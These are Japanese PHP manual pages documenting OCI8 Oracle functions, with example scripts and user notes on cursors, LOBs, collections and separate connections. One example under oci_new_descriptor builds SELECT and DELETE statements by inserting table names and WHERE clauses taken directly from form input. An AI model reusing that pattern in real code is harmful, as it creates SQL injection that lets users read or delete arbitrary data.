
注意

注意:

PHP バージョン 5.0.0 以前では、代わりに ocicolumnsize() を使用しなければなりません。 まだこの名前を使用することができ、下位互換性のため oci_field_size() への別名として残されていますが、 推奨されません。

参考

  • oci_num_fields() - ある文における結果のカラム数を返す
  • oci_field_name() - 文からのフィールド名を返す

User Contributed Notes

rudi at darx dot com 16-Jul-2000 10:19
Just a note regarding the size of Oracle  NUMBERS will always return 22 as their "size".

This seems to be an Oracle feature. The rest of the documentation is in bug5156.


Oracle におけるフィールドの型を問い合わせる

  • ≪ oci_field_size
  • oci_field_type ≫
  • PHP Manual
  • OCI8 関数
  • Oracle におけるフィールドの型を問い合わせる

oci_field_type_raw

(PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.1.0)

oci_field_type_raw — Oracle におけるフィールドの型を問い合わせる

説明

oci_field_type_raw ( resource $statement , mixed $field ) : int

フィールド field の、Oracle における生の "SQLT" データ型を返します。

フィールドの型の名前を取得したい場合は oci_field_type() を使いましょう。

パラメータ

statement

有効な OCI ステートメント ID。

field

フィールド番号 (1 から始まる) あるいは名前のいずれか。

返り値

Oracle のデータ型を表す数値、あるいはエラー時に false を返します。

例

例1 oci_field_type_raw() の例

<?php

// 以下のテーブルを用意します
//   CREATE TABLE mytab (number_col NUMBER, varchar2_col varchar2(1), clob_col CLOB, date_col DATE);

$conn = oci_connect("hr", "hrpwd", "localhost/XE");
if (!$conn) {
    $m = oci_error();
    trigger_error(htmlentities($m['message']), E_USER_ERROR);
}

$stid = oci_parse($conn, 'select * from mytab');
oci_execute($stid, OCI_DESCRIBE_ONLY);  // 行をフェッチしない場合は OCI_DESCRIBE_ONLY を使います
$n = oci_num_fields($stid);
for ($i = 1; $i <= $n; ++$i) {
    echo oci_field_name($stid, $i) . " is raw type: " . oci_field_type_raw($stid, $i) . "<br>\n";
}

// 出力は
//    NUMBER_COL is raw type: 2
//    VARCHAR2_COL is raw type: 1
//    CLOB_COL is raw type: 112
//    DATE_COL is raw type: 12

oci_free_statement($stid);
oci_close($conn);

?>

注意

注意:

PHP バージョン 5.0.0 以前では、代わりに ocicolumntyperaw() を使用しなければなりません。 まだこの名前を使用することができ、下位互換性のため oci_field_type_raw() への別名として残されていますが、 推奨されません。

User Contributed Notes

There are no user contributed notes for this page.


フィールドのデータ型の名前を返す

  • ≪ oci_field_type_raw
  • oci_free_descriptor ≫
  • PHP Manual
  • OCI8 関数
  • フィールドのデータ型の名前を返す

oci_field_type

(PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.1.0)

oci_field_type — フィールドのデータ型の名前を返す

説明

oci_field_type ( resource $statement , mixed $field ) : mixed

フィールドのデータ型の名前を返します。

パラメータ

statement

有効な OCI ステートメント ID。

field

フィールド番号 (1 から始まる) あるいは名前のいずれか。

返り値

フィールドのデータ型を表す文字列、あるいはエラー時に false を返します。

例

例1 oci_field_type() の例

<?php

// 以下のテーブルを用意します
//   CREATE TABLE mytab (number_col NUMBER, varchar2_col varchar2(1),
//                       clob_col CLOB, date_col DATE);

$conn = oci_connect("hr", "hrpwd", "localhost/XE");
if (!$conn) {
    $m = oci_error();
    trigger_error(htmlentities($m['message']), E_USER_ERROR);
}

$stid = oci_parse($conn, "SELECT * FROM mytab");
oci_execute($stid, OCI_DESCRIBE_ONLY); // 行をフェッチしない場合は OCI_DESCRIBE_ONLY を使います

echo "<table border=\"1\">";
echo "<tr>";
echo "<th>名前</th>";
echo "<th>型</th>";
echo "<th>長さ</th>";
echo "</tr>\n";

$ncols = oci_num_fields($stid);

for ($i = 1; $i <= $ncols; $i++) {
    $column_name  = oci_field_name($stid, $i);
    $column_type  = oci_field_type($stid, $i);
    $column_size  = oci_field_size($stid, $i);

    echo "<tr>";
    echo "<td>$column_name</td>";
    echo "<td>$column_type</td>";
    echo "<td>$column_size</td>";
    echo "</tr>\n";
}

echo "</table>\n";

// 出力は
//    名前           型         長さ
//    NUMBER_COL    NUMBER        22
//    VARCHAR2_COL  VARCHAR2       1
//    CLOB_COL      CLOB        4000
//    DATE_COL      DATE           7

oci_free_statement($stid);
oci_close($conn);

?>

注意

注意:

PHP バージョン 5.0.0 以前では、代わりに ocicolumntype() を使用しなければなりません。 まだこの名前を使用することができ、下位互換性のため oci_field_type() への別名として残されていますが、 推奨されません。

参考

  • oci_num_fields() - ある文における結果のカラム数を返す
  • oci_field_name() - 文からのフィールド名を返す
  • oci_field_size() - フィールドサイズを返す

User Contributed Notes

There are no user contributed notes for this page.


ディスクリプタを解放する

  • ≪ oci_field_type
  • oci_free_statement ≫
  • PHP Manual
  • OCI8 関数
  • ディスクリプタを解放する

oci_free_descriptor

(PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.1.0)

oci_free_descriptor — ディスクリプタを解放する

説明

oci_free_descriptor ( resource $descriptor ) : bool

oci_new_descriptor() で確保したディスクリプタを解放します。

返り値

成功した場合に true を、失敗した場合に false を返します。

注意

注意:

この関数は、一般に OCILOB::free メソッドとして使います。

参考

  • OCILOB::free

User Contributed Notes

There are no user contributed notes for this page.


文やカーソルに関連付けられた全てのリソースを解放する

  • ≪ oci_free_descriptor
  • oci_get_implicit_resultset ≫
  • PHP Manual
  • OCI8 関数
  • 文やカーソルに関連付けられた全てのリソースを解放する

oci_free_statement

(PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.1.0)

oci_free_statement — 文やカーソルに関連付けられた全てのリソースを解放する

説明

oci_free_statement ( resource $statement ) : bool

oci_parse() の結果や Oracle から取得した、 Oracle のカーソルおよび文に関連付けられた全てのリソースを解放します。

パラメータ

statement

有効な OCI ステートメント ID。

返り値

成功した場合に true を、失敗した場合に false を返します。

User Contributed Notes

passerbyxp at gmail dot com 19-Dec-2012 08:37
A freed statement is not "empty()", it's still a resource:

<?php
$con=oci_connect(/*connect*/);
$q=oci_parse($con,"SELECT sysdate FROM dual");
var_dump($q); // resource(5) of type (oci8 statement)
var_dump(empty($q)); // bool(false)
var_dump(oci_statement_type($q)); // string(6) "SELECT"
echo "------\n";
oci_execute($q);
var_dump($q); // same as above
var_dump(empty($q));
var_dump(oci_statement_type($q));
echo "------\n";
oci_free_statement($q);
var_dump($q); // resource(5) of type (Unknown)
var_dump(empty($q)); // bool(false)
var_dump(oci_statement_type($q)); // generates warning and returns false
oci_close($con);
?>

So far I can not think of a way to determine if a statement is freed without using an additional flag...
Jen M. 02-Oct-2008 11:05
oci_free_statement doesn't always free up cursors.  I had a query where I performed the following functions in a loop:

OCIParse
OCIExecute
Oci_fetch_assoc
(Grab some field values)
OciFreeStatement

I didn't specify the use of a cursor, but ran into a "maximum
open cursors exceeded" error.  Within my code, I had one "select * from table_with_lobs" query.  When I changed the query to be "select a, b, c, from table_with_lobs" (where I specified the actual column names and where those columns were not LOB fields) the error message went away and I didn't have to resort to upping the max_open_cursors value in Oracle.
rada at instinctive dot it 04-Mar-2008 08:46
If you are using cursors, make sure to free the statement *and* the cursor, especially if there is a possibility of running the proc/cursor again (e.g. with different parameters).

<?php

    oci_execute($stmt);
    oci_execute($crsr);

    // iterate through cursor...

    oci_free_statement($stmt);
    oci_free_statement($crsr);
?>

You need to do it explicitly, closing connection for example does not seem to release the cursor.


Oracle Database の暗黙の結果セットを持つ親ステートメント・リソースから次の子ステートメント・リソースを返す

  • ≪ oci_free_statement
  • oci_lob_copy ≫
  • PHP Manual
  • OCI8 関数
  • Oracle Database の暗黙の結果セットを持つ親ステートメント・リソースから次の子ステートメント・リソースを返す

oci_get_implicit_resultset

(PHP 5 >= 5.6.0, PHP 7, PHP 8, PECL OCI8 >= 2.0.0)

oci_get_implicit_resultset — Oracle Database の暗黙の結果セットを持つ親ステートメント・リソースから次の子ステートメント・リソースを返す

説明

oci_get_implicit_resultset ( resource $statement ) : resource

ストアドまたは匿名の Oracle PL/SQL ブロックを実行後、 クエリの結果の連続したセットを取得するために使用されます。 そのブロックは、Oracle Database 12 (またはそれ以降) の DBMS_SQL.RETURN_RESULT PL/SQL 関数によりクエリの結果を返します。 これにより、PL/SQL ブロックはクエリ結果を簡単に返すことができます。

子ステートメントは、任意の OCI8 取得関数とともに使用できます。
その関数は、oci_fetch()、oci_fetch_all()、
oci_fetch_array()、oci_fetch_object()、
oci_fetch_assoc() または oci_fetch_row() です。

子ステートメントは、それらの親ステートメントのプリフェッチ値を継承するか、 または oci_set_prefetch() により明示的に設定することができます。

パラメータ

statement

oci_parse() により作成され、 oci_execute() により実行される 有効な OCI8 ステートメント ID 。 そのステートメント ID は、 暗黙の結果セットを返す SQL 文に関連づけられているかもしれませんし、 いないかもしれません。

返り値

statement 上で使用可能な 次の子ステートメントに対する文ハンドラを返します。 子ステートメントが存在しないか、 または oci_get_implicit_resultset() への前の呼び出しにより、 すべての子ステートメントが返されていた場合、 false を返します。

例

例1 ループ内で暗黙の結果セットを取得

<?php

$conn = oci_connect('hr', 'welcome', 'localhost/pdborcl');
if (!$conn) {
    $e = oci_error();
    trigger_error(htmlentities($e['message'], ENT_QUOTES), E_USER_ERROR);
}

$sql = 'DECLARE
            c1 SYS_REFCURSOR;
        BEGIN
           OPEN c1 FOR SELECT city, postal_code FROM locations WHERE ROWNUM < 4 ORDER BY city;
           DBMS_SQL.RETURN_RESULT(c1);
           OPEN c1 FOR SELECT country_id FROM locations WHERE ROWNUM < 4 ORDER BY city;
           DBMS_SQL.RETURN_RESULT(c1);
        END;';

$stid = oci_parse($conn, $sql);
oci_execute($stid);

while (($stid_c = oci_get_implicit_resultset($stid))) {
    echo "<h2>新規の暗黙の結果セット:</h2>\n";
    echo "<table>\n";
    while (($row = oci_fetch_array($stid_c, OCI_ASSOC+OCI_RETURN_NULLS)) != false) {
        echo "<tr>\n";
        foreach ($row as $item) {
            echo "  <td>".($item!==null?htmlentities($item, ENT_QUOTES|ENT_SUBSTITUTE):"&nbsp;")."</td>\n";
        }
        echo "</tr>\n";
    }
    echo "</table>\n";
}

// 出力です。
//    新規の暗黙の結果セット:
//     Beijing 190518
//     Bern    3095
//     Bombay  490231
//    新規の暗黙の結果セット:
//     CN
//     CH
//     IN

oci_free_statement($stid);
oci_close($conn);

?>

例2 子ステートメントのハンドラをそれぞれ取得

<?php

$conn = oci_connect('hr', 'welcome', 'localhost/pdborcl');
if (!$conn) {
    $e = oci_error();
    trigger_error(htmlentities($e['message'], ENT_QUOTES), E_USER_ERROR);
}

$sql = 'DECLARE
            c1 SYS_REFCURSOR;
        BEGIN
           OPEN c1 FOR SELECT city, postal_code FROM locations WHERE ROWNUM < 4 ORDER BY city;
           DBMS_SQL.RETURN_RESULT(c1);
           OPEN c1 FOR SELECT country_id FROM locations WHERE ROWNUM < 4 ORDER BY city;
           DBMS_SQL.RETURN_RESULT(c1);
        END;';

$stid = oci_parse($conn, $sql);
oci_execute($stid);

$stid_1 = oci_get_implicit_resultset($stid);
$stid_2 = oci_get_implicit_resultset($stid);

$row = oci_fetch_array($stid_1, OCI_ASSOC+OCI_RETURN_NULLS);
var_dump($row);
$row = oci_fetch_array($stid_2, OCI_ASSOC+OCI_RETURN_NULLS);
var_dump($row);
$row = oci_fetch_array($stid_1, OCI_ASSOC+OCI_RETURN_NULLS);
var_dump($row);
$row = oci_fetch_array($stid_2, OCI_ASSOC+OCI_RETURN_NULLS);
var_dump($row);

// 出力です。
//    array(2) {
//      ["CITY"]=>
//      string(7) "Beijing"
//      ["POSTAL_CODE"]=>
//      string(6) "190518"
//    }
//    array(1) {
//      ["COUNTRY_ID"]=>
//      string(2) "CN"
//    }
//    array(2) {
//      ["CITY"]=>
//      string(4) "Bern"
//      ["POSTAL_CODE"]=>
//      string(4) "3095"
//    }
//    array(1) {
//      ["COUNTRY_ID"]=>
//      string(2) "CH"
//    }

oci_free_statement($stid);
oci_close($conn);

?>

例3 プリフェッチ数を明示的に設定

<?php

$conn = oci_connect('hr', 'welcome', 'localhost/pdborcl');
if (!$conn) {
    $e = oci_error();
    trigger_error(htmlentities($e['message'], ENT_QUOTES), E_USER_ERROR);
}

$sql = 'DECLARE
            c1 SYS_REFCURSOR;
        BEGIN
           OPEN c1 FOR SELECT city, postal_code FROM locations ORDER BY city;
           DBMS_SQL.RETURN_RESULT(c1);
        END;';

$stid = oci_parse($conn, $sql);
oci_execute($stid);

$stid_c = oci_get_implicit_resultset($stid);
oci_set_prefetch($stid_c, 200);   // 子ステートメントから取得する前にプリフェッチを設定
echo "<table>\n";
while (($row = oci_fetch_array($stid_c, OCI_ASSOC+OCI_RETURN_NULLS)) != false) {
    echo "<tr>\n";
    foreach ($row as $item) {
        echo "  <td>".($item!==null?htmlentities($item, ENT_QUOTES|ENT_SUBSTITUTE):"&nbsp;")."</td>\n";
    }
    echo "</tr>\n";
}
echo "</table>\n";

oci_free_statement($stid);
oci_close($conn);

?>

例4 oci_get_implicit_resultset() を使用しない暗黙の結果セットの例

すべてのクエリからすべての結果が連続して返されます。

<?php

$conn = oci_connect('hr', 'welcome', 'localhost/pdborcl');
if (!$conn) {
    $e = oci_error();
    trigger_error(htmlentities($e['message'], ENT_QUOTES), E_USER_ERROR);
}

$sql = 'DECLARE
            c1 SYS_REFCURSOR;
        BEGIN
           OPEN c1 FOR SELECT city, postal_code FROM locations WHERE ROWNUM < 4 ORDER BY city;
           DBMS_SQL.RETURN_RESULT(c1);
           OPEN c1 FOR SELECT country_id FROM locations WHERE ROWNUM < 4 ORDER BY city;
           DBMS_SQL.RETURN_RESULT(c1);
        END;';

$stid = oci_parse($conn, $sql);
oci_execute($stid);

// 注意: oci_fetch_all および oci_fetch() はこの方法では使用できません
echo "<table>\n";
while (($row = oci_fetch_array($stid, OCI_ASSOC+OCI_RETURN_NULLS)) != false) {
    echo "<tr>\n";
    foreach ($row as $item) {
        echo "  <td>".($item!==null?htmlentities($item, ENT_QUOTES|ENT_SUBSTITUTE):"&nbsp;")."</td>\n";
    }
    echo "</tr>\n";
}
echo "</table>\n";

// 出力です。
//    Beijing 190518
//    Bern 3095
//    Bombay 490231
//    CN
//    CH
//    IN

oci_free_statement($stid);
oci_close($conn);

?>

注意

注意:

大量の行を返すクエリの場合、 oci8.default_prefetch を増やすか oci_set_prefetch() を使えばパフォーマンスが劇的に向上します。

User Contributed Notes

There are no user contributed notes for this page.


ラージオブジェクトをコピーする

  • ≪ oci_get_implicit_resultset
  • oci_lob_is_equal ≫
  • PHP Manual
  • OCI8 関数
  • ラージオブジェクトをコピーする

oci_lob_copy

(PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.1.0)

oci_lob_copy — ラージオブジェクトをコピーする

説明

oci_lob_copy ( OCILob $lob_to , OCILob $lob_from , int $length = 0 ) : bool

ラージオブジェクトあるいはラージオブジェクトの一部を 他のラージオブジェクトにコピーします。 受け取り側の LOB の古いデータは上書きされます。

もし LOB の特定部分を LOB の特定の位置にコピーする必要がある場合、 OCILob::seek() を使用して LOB の内部ポインタを移動させることができます。

パラメータ

lob_to

コピー先の LOB。

lob_from

コピー元の LOB。

length

コピーされるデータの長さ。

返り値

成功した場合に true を、失敗した場合に false を返します。

注意

注意:

OCILob クラスは、PHP 8 と PECL OCI8 3.0.0 より前のバージョンでは、OCI-Lob と呼ばれていました。

User Contributed Notes

There are no user contributed notes for this page.


2 つの LOB/FILE ロケータの等価性を比較する

  • ≪ oci_lob_copy
  • oci_new_collection ≫
  • PHP Manual
  • OCI8 関数
  • 2 つの LOB/FILE ロケータの等価性を比較する

oci_lob_is_equal

(PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.1.0)

oci_lob_is_equal — 2 つの LOB/FILE ロケータの等価性を比較する

説明

oci_lob_is_equal ( OCI-Lob $lob1 , OCI-Lob $lob2 ) : bool

2 つの LOB/FILE ロケータを比較します。

パラメータ

lob1

LOB の ID。

lob2

LOB の ID。

返り値

これらのオブジェクトが等しい場合 true を返し、 そうでなければ false を返します。

注意

注意:

OCILob クラスは、PHP 8 と PECL OCI8 3.0.0 より前のバージョンでは、OCI-Lob と呼ばれていました。

User Contributed Notes

There are no user contributed notes for this page.


新しいコレクションオブジェクトを割り当てる

  • ≪ oci_lob_is_equal
  • oci_new_connect ≫
  • PHP Manual
  • OCI8 関数
  • 新しいコレクションオブジェクトを割り当てる

oci_new_collection

(PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.1.0)

oci_new_collection — 新しいコレクションオブジェクトを割り当てる

説明

oci_new_collection ( resource $connection , string $tdo , string $schema = null ) : OCICollection

新しいコレクションオブジェクトを割り当てます。

パラメータ

connection

oci_connect() あるいは oci_pconnect() が返す Oracle 接続 ID。

tdo

有効な型名 (大文字)。

schema

型を作成したスキーマを指定しなければなりません。 現在のユーザー名がデフォルト値となります。

返り値

新しい OCICollection オブジェクト、 あるいはエラー時に false を返します。

注意

注意:

PHP 8 と PECL OCI8 3.0.0 より前のバージョンでは、 OCICollection クラスは OCI-Collection と呼ばれていました。

注意:

PHP バージョン 5.0.0 以前では、代わりに ocinewcollection() を使用しなければなりません。 まだこの名前を使用することができ、下位互換性のため oci_new_collection() への別名として残されていますが、 推奨されません。

User Contributed Notes

VLroyrenn 27-Mar-2018 03:39
This is a woefully underdocumented feature (at least here), but being able to bind collections to prepared statements instead of rolling your own SQL arrays is a massive improvement in terms of safety and conveinience, and a feature I think more DBMS should have in their API.

You can basically send collections of the types listed by the following query :

SELECT * FROM SYS.ALL_TYPES WHERE TYPECODE = 'COLLECTION' AND TYPE_NAME LIKE 'ODCI%'

Those are all collections that can contain any number of the SQL type indicated in their name.

<?php
$my_array = ["foo", "bar", "baz"];

$my_collection = oci_new_collection($conn, 'ODCIVARCHAR2LIST', 'SYS');

foreach($my_array as $elem) {
    $cell_collection->append($elem);
}

oci_bind_by_name($statement, ":collection", $my_collection, -1, SQLT_NTY);
?>

The collection ressource can be appended with numbers, strings or dates (which need to be passed as strings in the "DD-MON-YY" format, such as "27-MAR-18", apparently) depending on the types supported by the collection you're using, and none of these appear to support timestamps or any of the more complex data types.

Code for the OCI collection type, for reference :

http://git.php.net/?p=php-src.git;a=blob;f=ext/oci8/oci8_collection.c;hb=refs/heads/master#l429


一意な接続を使って Oracle サーバーへ接続する

  • ≪ oci_new_collection
  • oci_new_cursor ≫
  • PHP Manual
  • OCI8 関数
  • 一意な接続を使って Oracle サーバーへ接続する

oci_new_connect

(PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.1.0)

oci_new_connect — 一意な接続を使って Oracle サーバーへ接続する

説明

oci_new_connect ( string $username , string $password , string $connection_string = ? , string $character_set = ? , int $session_mode = ? ) : resource

Oracle サーバーへの新規接続を確立し、ログオンします。

oci_connect() や oci_pconnect() と異なり、oci_new_connect() は接続をキャッシュしません。また、 常に新しくオープンされた接続ハンドルを返します。 これは、もしアプリケーションが 2 セットのクエリ間でトランザクション的な独立を必要とする場合に有効です。

パラメータ

username

Oracle のユーザー名。

password

username のパスワード。

connection_string

接続先の Oracle インスタンス。 » Easy Connect 文字列、tnsnames.ora ファイルの接続文字列、あるいはローカルの Oracle インスタンス名を指定します。

省略した場合、PHP は環境変数 TWO_TASK (Linux) あるいは LOCAL (Windows) と ORACLE_SID を用いて接続先の Oracle インスタンス を判断します。

Easy Connect 方式を使うには、PHP を Oracle 10g 以降のクライアントライブラリとリンクさせる必要があります。Oracle 10g の Easy Connect 文字列の形式は [//]host_name[:port][/service_name] です。Oracle 11g 以降の場合は、この構文は [//]host_name[:port][/service_name][:server_type][/instance_name] となります。 Oracle 19c では、さらにオプションが追加されています。 タイムアウトや keep-alive の設定を含みます。詳細は Oracle のドキュメントを参照して下さい。 サービス名を調べるには、Oracle のユーティリティ lsnrctl status をデータベースサーバー上で実行します。

tnsnames.ora ファイルは Oracle Net のサーチパス上にあります。 サーチパスに含まれるのは /your/path/to/instantclient/network/admin, $ORACLE_HOME/network/admin, /etc です。 もうひとつの方法として、 TNS_ADMIN を指定して $TNS_ADMIN/tnsnames.ora を読み込ませることもできます。 ウェブデーモンにそのファイルの読み込み権限を与えておきましょう。

character_set

Oracle クライアントライブラリが使う文字セットを指定します。 これは、データベースが用いる文字セットと一致させる必要はありません。 一致していない場合は、Oracle が最善を尽くしてデータベースの文字セットとの間の変換を行います。 文字セットによっては、この変換結果がうまく使えないこともあります。 また、変換にはそれなりの時間を要します。

省略した場合は、 Oracle クライアントライブラリは環境変数 NLS_LANG の値をもとに文字セットを判断します。

このパラメータを渡すことで、 接続に要する時間を短縮できます。

session_mode

このパラメータは PHP 5 (PECL OCI8 1.1) 以降で使え、 OCI_DEFAULT、 OCI_SYSOPER そして OCI_SYSDBA といった値を指定することができます。OCI_SYSOPER あるいは OCI_SYSDBA を指定した場合は、 この関数は外部の証明書を使った特権接続の確立を試みます。 特権接続は、デフォルトでは無効になっています。有効にするには oci8.privileged_connect を On に設定しなければなりません。

PHP 5.3 (PECL OCI8 1.3.4) 以降、 OCI_CRED_EXT モードを使えるようになりました。 これは、Oracle に外部認証あるいは OS 認証を使うよう指示します。 どちらかをデータベースで設定しておかなければなりません。 OCI_CRED_EXT フラグを使えるのは、ユーザー名が "/" でパスワードが空のときだけです。 oci8.privileged_connect は On あるいは Off のどちらでもかまいません。

OCI_CRED_EXT は、 OCI_SYSOPER あるいは OCI_SYSDBA モードと組み合わせて使います。

OCI_CRED_EXT は、セキュリティ上の理由により Windows ではサポートされていません。

返り値

接続 ID、あるいはエラー時に false を返します。

例

以下の例は、接続がどのように分割されるかを示すものです。

例1 oci_new_connect() の例

<?php

// create table mytab (mycol number);

function query($name, $c)
{
    echo "Querying $name\n";
    $s = oci_parse($c, "select * from mytab");
    oci_execute($s, OCI_NO_AUTO_COMMIT);
    $row = oci_fetch_array($s, OCI_ASSOC);
    if (!$row) {
        echo "No rows\n";
    } else {
        do {
            foreach ($row as $item)
                echo $item . " ";
            echo "\n";
        } while (($row = oci_fetch_array($s, OCI_ASSOC)) != false);
    }
}

$c1 = oci_connect("hr", "welcome", "localhost/orcl");
$c2 = oci_new_connect("hr", "welcome", "localhost/orcl");

$s = oci_parse($c1, "insert into mytab values(1234)");
oci_execute($s, OCI_NO_AUTO_COMMIT);

query("basic connection", $c1);
query("new connection", $c2);
oci_commit($c1);
query("new connection after commit", $c2);

// 出力:
//   Querying basic connection
//   1234
//   Querying new connection
//   No rows
//   Querying new connection after commit
//   1234

?>

パラメータの使いかたについては、oci_connect() の例も参照ください。

参考

  • oci_connect() - Oracle データベースに接続する
  • oci_pconnect() - 持続的接続を使用してOracle データベースに接続する

User Contributed Notes

There are no user contributed notes for this page.


新規カーソル (ステートメントハンドル) を割り当て、それを返す

  • ≪ oci_new_connect
  • oci_new_descriptor ≫
  • PHP Manual
  • OCI8 関数
  • 新規カーソル (ステートメントハンドル) を割り当て、それを返す

oci_new_cursor

(PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.1.0)

oci_new_cursor — 新規カーソル (ステートメントハンドル) を割り当て、それを返す

説明

oci_new_cursor ( resource $connection ) : resource

指定された接続に新規カーソルを割り当てます。

パラメータ

connection

oci_connect() あるいは oci_pconnect() が返す Oracle 接続 ID。

返り値

新しいステートメントハンドル、あるいはエラー時に false を返します。

例

例1 Oracle ストアドプロシージャにおける REF CURSOR のバインド

<?php

// 以下のプロシージャを用意します
//   create or replace procedure myproc(myrc out sys_refcursor) as
//   begin
//     open myrc for select first_name from employees;
//   end;

$conn = oci_connect("hr", "hrpwd", "localhost/XE");
if (!$conn) {
    $m = oci_error();
    trigger_error(htmlentities($m['message']), E_USER_ERROR);
}

$curs = oci_new_cursor($conn);
$stid = oci_parse($conn, "begin myproc(:cursbv); end;");
oci_bind_by_name($stid, ":cursbv", $curs, -1, OCI_B_CURSOR);
oci_execute($stid);

oci_execute($curs);  // REF CURSOR を、ステートメント ID のように利用します
while (($row = oci_fetch_array($curs, OCI_ASSOC+OCI_RETURN_NULLS)) != false) {
    echo $row['FIRST_NAME'] . "<br />\n";
}

oci_free_statement($stid);
oci_free_statement($curs);
oci_close($conn);

?>

注意

注意:

PHP バージョン 5.0.0 以前では、代わりに ocinewcursor() を使用しなければなりません。 まだこの名前を使用することができ、下位互換性のため oci_new_cursor() への別名として残されていますが、 推奨されません。

User Contributed Notes

mgumiel at mgait dot com 08-Nov-2012 09:15
Some packages in oracle are functions, and that functions returns a cursor.

For example:

CREATE FUNCTION F_Function( p1 char(2), p2 int)
  RETURN SYS_REFCURSOR
AS
  my_cursor SYS_REFCURSOR;
BEGIN
  OPEN my_cursor FOR SELECT * FROM allitems
                           WHERE (cod=p1)
                                      AND (Number=p2);
  RETURN my_cursor;
END F_Function;

Here is the code that allows to obtain data from a function that returns a cursor.

<pre>
<?php
 $conn=oci_connect("server", "user", "pass");
if (!$conn) {
    $e = oci_error();
    trigger_error(htmlentities($e['message']), E_USER_ERROR);
}

    //You must asign before.
    $p1 = '03';
    $p2 = 2012016191;

    $stid = oci_parse($conn, 'begin :cursor := server.PKG_package.F_Function(:p1,:p2); end;');
    $p_cursor = oci_new_cursor($conn);

    //Send parameters variable  value  lenght
    oci_bind_by_name($stid, ':p1', $p1,2);
    oci_bind_by_name($stid, ':p2', $p2,10);

    //Bind Cursor     put -1
    oci_bind_by_name($stid, ':cursor', $p_cursor, -1, OCI_B_CURSOR);

    // Execute Statement
    oci_execute($stid);
    oci_execute($p_cursor, OCI_DEFAULT);

    oci_fetch_all($p_cursor, $cursor, null, null, OCI_FETCHSTATEMENT_BY_ROW);
    echo '<br>';
    print_r($cursor);
 ?>
sixd at php dot net 27-Jan-2010 10:41
Oracle 11.2 introduced support for REF CURSOR prefetching
sixd at php dot net 05-Nov-2008 12:13
Because OCI8 uses "prefetching" to greatly improve returning query results, but Oracle doesn't support prefetching for REF CURSORs, application performance using REF CURSORs can be greatly improved by writing a PL/SQL function that pulls data from the REF CURSOR and PIPEs the output. The new function can be queried in a SELECT as if it were a table.  See http://blogs.oracle.com/opal/2008/11/
converting_ref_cursor_to_pipe.html


空の新規 LOB あるいは FILE ディスクリプタを初期化する

  • ≪ oci_new_cursor
  • oci_num_fields ≫
  • PHP Manual
  • OCI8 関数
  • 空の新規 LOB あるいは FILE ディスクリプタを初期化する

oci_new_descriptor

(PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.1.0)

oci_new_descriptor — 空の新規 LOB あるいは FILE ディスクリプタを初期化する

説明

oci_new_descriptor ( resource $connection , int $type = OCI_DTYPE_LOB ) : OCI-Lob

ディスクリプタあるいは LOB ロケータを保持するリソースを確保します。

パラメータ

connection

oci_connect() あるいは oci_pconnect() が返す Oracle 接続 ID。

type

type として有効な値は、 OCI_DTYPE_FILE、OCI_DTYPE_LOB および OCI_DTYPE_ROWID です。

返り値

成功した場合に新しい LOB あるいは FILE ディスクリプタ、 エラー時に false を返します。

例

例1 oci_new_descriptor() の例

<?php
/* このスクリプトは HTML フォームからコールされるよう設計されています。
 * また、$user, $passwor, $table, $where, $commitsizeがフォームから
 * 渡されることを前提にしています。このスクリプトは、ROWID を用いて
 * 選択された行を削除し、$commitsize 行毎にコミットします。
 * (ロールバックがないので、注意して使用してください。)
 */
$conn = oci_connect($user, $password);
$stmt = oci_parse($conn, "select rowid from $table $where");
$rowid = oci_new_descriptor($conn, OCI_D_ROWID);
oci_define_by_name($stmt, "ROWID", $rowid);
oci_execute($stmt);
while (oci_fetch($stmt)) {
    $nrows = oci_num_rows($stmt);
    $delete = oci_parse($conn, "delete from $table where ROWID = :rid");
    oci_bind_by_name($delete, ":rid", $rowid, -1, OCI_B_ROWID);
    oci_execute($delete);
    echo "$nrows\n";
    if (($nrows % $commitsize) == 0) {
        oci_commit($conn);
    }
}
$nrows = oci_num_rows($stmt);
echo "$nrows deleted...\n";
oci_free_statement($stmt);
oci_close($conn);
?>
<?php
    /* このスクリプトは LOB カラムにファイルをアップロードする例を示します。
     * LOBカラムにアップロードを行うこの例に関するフォームは、
     * <form action="upload.php3" method="post" enctype="multipart/form-data">
     * <input type="file" name="lob_upload" />
     * ... のようなものが使用されます。
     */
  if (!isset($lob_upload) || $lob_upload == 'none'){
?>
<form action="upload.php" method="post" enctype="multipart/form-data">
Upload file: <input type="file" name="lob_upload" /><br />
<input type="submit" value="Upload" /> - <input type="reset" value="Reset" />
</form>
<?php
  } else {

     // $lob_upload には、アップロードされたファイルの一時的なファイル名が含まれます

     // 安全にアップロードしたい場合は、マニュアルの
     // ファイルアップロードに関する節を参照ください

     $conn = oci_connect($user, $password);
     $lob = oci_new_descriptor($conn, OCI_D_LOB);
     $stmt = oci_parse($conn, "insert into $table (id, the_blob)
               values(my_seq.NEXTVAL, EMPTY_BLOB()) returning the_blob into :the_blob");
     oci_bind_by_name($stmt, ':the_blob', $lob, -1, OCI_B_BLOB);
     oci_execute($stmt, OCI_DEFAULT);
     if ($lob->savefile($lob_upload)){
        oci_commit($conn);
        echo "Blob のアップロードは成功しました\n";
     }else{
        echo "Blob をアップロードできませんでした\n";
     }
     $lob->free();
     oci_free_statement($stmt);
     oci_close($conn);
  }
?>

例2 oci_new_descriptor() の例

<?php
/* 入力パラメータとして clob を含む PL/SQLストアドプロシージャを
 * コールする。
 * PL/SQL ストアドプロシージャのシグネチャは次の通り。
 *
 * PROCEDURE save_data
 *   Argument Name                  Type                    In/Out Default?
 *   ------------------------------ ----------------------- ------ --------
 *   KEY                            NUMBER(38)              IN
 *   DATA                           CLOB                    IN
 *
 */

$conn = oci_connect($user, $password);
$stmt = oci_parse($conn, "begin save_data(:key, :data); end;");
$clob = oci_new_descriptor($conn, OCI_D_LOB);
oci_bind_by_name($stmt, ':key', $key);
oci_bind_by_name($stmt, ':data', $clob, -1, OCI_B_CLOB);
$clob->write($data);
oci_execute($stmt, OCI_DEFAULT);
oci_commit($conn);
$clob->free();
oci_free_statement($stmt);
?>

注意

注意:

